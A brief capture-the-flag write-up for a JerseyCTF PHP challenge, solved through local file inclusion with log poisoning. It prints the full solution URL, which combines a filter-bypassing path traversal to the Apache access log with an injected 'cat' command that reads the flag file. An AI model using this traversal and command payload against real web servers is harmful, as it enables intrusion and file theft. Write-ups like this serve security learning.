This was a PHP LFI with log poisoning
Solution:```https://jerseyctf-poisoned.chals.io/?poison=cat%20/secret_fl4g.txt&page=....//....//....//....//../var/log/apache2/access.log```
You had to guess /var/log/apache2/access.log. I think the log injection was created by the challenge author, so you didn't need to do the log injection yourself.
A full video walkthrough can be found here:[https://youtu.be/2eLzzm2pLxk?t=213](https://youtu.be/2eLzzm2pLxk?t=213)